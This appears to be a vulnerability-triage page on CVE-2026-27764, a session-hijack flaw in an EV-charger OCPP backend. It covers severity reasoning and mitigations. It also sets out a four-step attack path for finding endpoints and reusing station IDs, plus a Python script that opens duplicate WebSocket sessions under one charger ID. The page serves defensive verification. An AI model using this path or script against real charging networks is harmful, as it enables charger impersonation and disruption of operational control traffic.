This is a valet stand that hands the keys to whoever repeats the ticket number last
CVE-2026-27764 affects all versions of Mobiliti e-mobi.hu per CISA/CVE records. The backend uses the charging station identifier as the session anchor for OCPP-over-WebSocket traffic, but it permits another endpoint to connect with that same identifier. In practice, that lets an attacker open a competing session, displace or shadow the legitimate charger, and receive backend commands or corrupt the station's telemetry stream.
The vendor's HIGH rating is basically fair. The main downward pressure is real-world friction: the attacker needs reachability to the OCPP/WebSocket edge and a valid station identifier. But there is still no authentication requirement in this CVE's path, no user interaction, all versions are affected, and the exposed service is the very control plane used to manage chargers remotely, so this stays HIGH rather than falling to a routine medium.
4 steps from start to impact.
Find a reachable OCPP endpoint and valid station ID
Shodan, Censys, curl, or passive OSINT against charger maps, network docs, and naming conventions; the protocol itself commonly exposes the station identity in the WebSocket URL path or connection context.- Attacker can reach the OCPP/WebSocket service over the network
- At least one valid charging station identifier is known, guessed, or derived
- Many deployments will place the OCPP backend behind private APNs, VPNs, IP allowlists, or carrier NAT
- Public internet search engines do not appear to have a reliable product fingerprint for Mobiliti specifically
Open a competing WebSocket session
websocat or a custom OCPP client, the attacker connects with the same station ID as the legitimate charger. The vulnerability is that the backend accepts the duplicate identity instead of enforcing a single authenticated binding or rejecting reuse.- Backend accepts inbound WebSocket connections for charger sessions
- No stronger identity control blocks the duplicate session
- mTLS, HTTP Basic Auth, reverse-proxy authentication, or strict source-IP pinning would break this path
- Some charging networks terminate idle or malformed sessions aggressively, which can complicate testing
Shadow or displace the real charger
- Session uniqueness is keyed only on charger ID
- Backend prefers or accepts the most recent connection
- Operational monitoring may flag charger disconnect/reconnect churn quickly
- Some CSMS implementations may keep enough state to partially limit what the second session can do
Issue or intercept OCPP actions
- The malicious session remains bound long enough to exchange OCPP frames
- Backend trusts the active session as the charger for that ID
- Impact is narrower than tenant-wide admin compromise or code execution
- Scaling beyond one or a few chargers requires inventory knowledge and sustained access
The supporting signals.
| In-the-wild status | CISA's CSAF says no known public exploitation had been reported to CISA at publication time, and this CVE is not KEV-listed in the sources reviewed. |
|---|---|
| Proof-of-concept availability | No public repo or polished exploit for CVE-2026-27764 surfaced in indexed sources reviewed. Inference: exploitation should be straightforward with websocat or a small custom OCPP WebSocket client once a valid station ID and reachable endpoint are known. |
| EPSS | User-supplied EPSS is 0.00051 (~0.05%), which is very low. I could not verify an authoritative percentile from indexed primary sources, so treat the percentile as unconfirmed. |
| KEV status | Not listed in CISA KEV based on the supplied intel and sources reviewed. |
| CVSS vector | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L = unauthenticated network attack with low complexity, but only low CIA impact in the CNA model; the real operational concern is charger impersonation and control-plane confusion. |
| Affected versions | CVE.org and CISA CSAF mark all versions of Mobiliti e-mobi.hu as affected. |
| Fixed versions | No fixed version published. CISA states Mobiliti did not respond to coordination, so there is no vendor patch train or backport guidance in the available advisory. |
| Scanning / exposure data | Inference: no reliable product-specific Shodan/Censys/GreyNoise fingerprint was found in indexed public sources for Mobiliti's OCPP edge. Assume internet exposure must be measured internally from your attack-surface inventory and firewall logs. |
| Disclosure and reporting | Published 2026-03-06. Credited researchers are Khaled Sarieddine and Mohammad Ali Sayed, reported through CISA / ICS-CERT. |
noisgate verdict.
The single biggest amplifier is that this is still an unauthenticated remote path against a charger management control plane that is often intentionally reachable over IP networks. The biggest brake is that the attacker still needs a valid station identity and the blast radius usually starts at one charger session at a time, which keeps it out of CRITICAL.
Why this verdict
- Baseline stays high: vendor scored it 7.3 HIGH, and the core path is still unauthenticated, network-reachable, and free of user interaction.
- Exposure friction trims the score slightly: the attacker must reach the OCPP/WebSocket edge, which in mature deployments should be narrowed by VPNs, APNs, private networks, firewalls, or IP allowlists.
- Identity friction trims it again: the attacker needs a valid charger identifier; that is materially easier if naming is predictable or identifiers leak elsewhere, but it is still a prerequisite that narrows opportunistic mass exploitation.
- Blast radius keeps it below critical: successful exploitation typically hijacks or disrupts one charger identity per session, not the whole tenant, domain, or server OS.
- No exploitation evidence removes urgency premium: no KEV listing, no public campaigns cited by CISA, and a very low supplied EPSS argue against an emergency-everything stop.
Why not higher?
This is not pre-auth RCE, not a tenant-wide auth bypass, and not a reliable path to backend host takeover. The attacker must first have OCPP edge reachability and a valid station identifier, and even then the impact is usually bounded to session hijack, command interception, or charger-level disruption rather than full infrastructure compromise.
Why not lower?
Dropping this to MEDIUM would understate the fact that the path is still unauthenticated remote access to a live operational control channel. All versions are affected, there is no published fix, and the vulnerable service exists specifically to let remote systems control chargers, so the reachable population can still be meaningful in real fleets.
What to do — in priority order.
- Restrict OCPP ingress — Put the OCPP/WebSocket edge behind IP allowlists, private APN/VPN paths, or equivalent network admission controls so only known charger networks can reach it. For a HIGH verdict, deploy this within 30 days if you cannot patch because this is the cleanest way to collapse the unauthenticated attack surface.
- Enforce strong charger identity at the edge — Require mTLS, strong HTTP authentication, or a reverse-proxy identity layer before a session can bind to a charger ID. Do this within 30 days to prevent a second endpoint from successfully reusing a station identifier even if the backend logic is weak.
- Alert on duplicate station IDs — Create detections for the same charger ID connecting from multiple IPs, ASNs, or geographies within a short window. Deploy within 30 days so you can catch session shadowing attempts that slip past perimeter filtering.
- Rate-limit connection churn per charger ID — Throttle repeated reconnects and parallel session attempts for the same station identifier at the load balancer, reverse proxy, or WebSocket gateway. This does not fix the logic flaw, but within 30 days it reduces cheap displacement and noisy DoS attempts.
- Inventory exposed OCPP endpoints — Treat this as an attack-surface problem first: find every public
ws://orwss://OCPP listener, associated FQDN, and source-IP policy. Complete the exposure inventory within 30 days so you know which fleets can actually be exploited.
- A generic WAF alone is weak here because the bad action happens after a valid WebSocket upgrade and depends on application session semantics, not a simple HTTP signature.
- Perimeter TLS encryption alone does not help if the attacker can still establish their own legitimate TLS session and reuse the charger identifier.
- Endpoint EDR on chargers is not a meaningful primary control for this path; the abuse happens at the backend session-binding layer and many embedded chargers will not run enterprise EDR anyway.
Crowdsourced verification payload.
Run this from an auditor workstation or jump host that can reach the target OCPP/WebSocket endpoint; do not run it on the charger itself. Invoke it as python3 verify_cve_2026_27764.py wss://ocpp.example.com/ocpp/CHARGER123 --subprotocol ocpp1.6 with normal user privileges; install the dependency first with python3 -m pip install websockets.
#!/usr/bin/env python3
"""
verify_cve_2026_27764.py
Best-effort verifier for CVE-2026-27764 (duplicate charger session acceptance / session shadowing).
Usage:
python3 verify_cve_2026_27764.py wss://host/ocpp/CHARGER123 --subprotocol ocpp1.6
Exit codes:
0 = VULNERABLE
1 = PATCHED
2 = UNKNOWN / test inconclusive
Notes:
- This script opens two WebSocket connections to the SAME charger endpoint/ID.
- If the second connection is accepted and the first is dropped or both remain active,
the target likely permits duplicate session binding and should be treated as VULNERABLE.
- Some backends require full OCPP message exchange before enforcing policy; in those cases
the result may be UNKNOWN.
"""
import argparse
import asyncio
import sys
try:
import websockets
from websockets.exceptions import ConnectionClosed
except Exception:
print("UNKNOWN")
print("Dependency missing: install with 'python3 -m pip install websockets'", file=sys.stderr)
sys.exit(2)
async def open_ws(url, subprotocol=None):
kwargs = {
"open_timeout": 10,
"close_timeout": 5,
"ping_interval": None,
"max_size": 2**20,
}
if subprotocol:
kwargs["subprotocols"] = [subprotocol]
return await websockets.connect(url, **kwargs)
async def probe(url, subprotocol=None):
ws1 = None
ws2 = None
try:
ws1 = await open_ws(url, subprotocol)
await asyncio.sleep(1)
try:
ws2 = await open_ws(url, subprotocol)
except Exception as e:
# If the second connection is rejected up front, that's the desired behavior.
print(f"DEBUG: second connection rejected: {type(e).__name__}: {e}", file=sys.stderr)
return "PATCHED"
await asyncio.sleep(2)
ws1_closed = ws1.closed
ws2_closed = ws2.closed
# Strong vulnerable signal 1: second session accepted and first got displaced.
if not ws2_closed and ws1_closed:
return "VULNERABLE"
# Strong vulnerable signal 2: both sessions remain open simultaneously for same ID.
if not ws1_closed and not ws2_closed:
return "VULNERABLE"
# If both are closed quickly, backend behavior is ambiguous.
if ws1_closed and ws2_closed:
return "UNKNOWN"
# If only the second is closed, backend may have protected the original session.
if not ws1_closed and ws2_closed:
return "PATCHED"
return "UNKNOWN"
except ConnectionClosed as e:
print(f"DEBUG: connection closed during test: {e}", file=sys.stderr)
return "UNKNOWN"
except Exception as e:
print(f"DEBUG: unexpected error: {type(e).__name__}: {e}", file=sys.stderr)
return "UNKNOWN"
finally:
for ws in (ws2, ws1):
try:
if ws is not None and not ws.closed:
await ws.close()
except Exception:
pass
def main():
parser = argparse.ArgumentParser(description="Best-effort verifier for CVE-2026-27764")
parser.add_argument("url", help="Full WebSocket URL including the charger/station identifier")
parser.add_argument("--subprotocol", default="ocpp1.6", help="WebSocket subprotocol, default: ocpp1.6")
args = parser.parse_args()
result = asyncio.run(probe(args.url, args.subprotocol))
print(result)
if result == "VULNERABLE":
sys.exit(0)
elif result == "PATCHED":
sys.exit(1)
else:
sys.exit(2)
if __name__ == "__main__":
main()
If you remember one thing.
Sources
What defenders are saying.
Crowdsourced verification outputs.
Results submitted by users who ran the verification payload against their environment.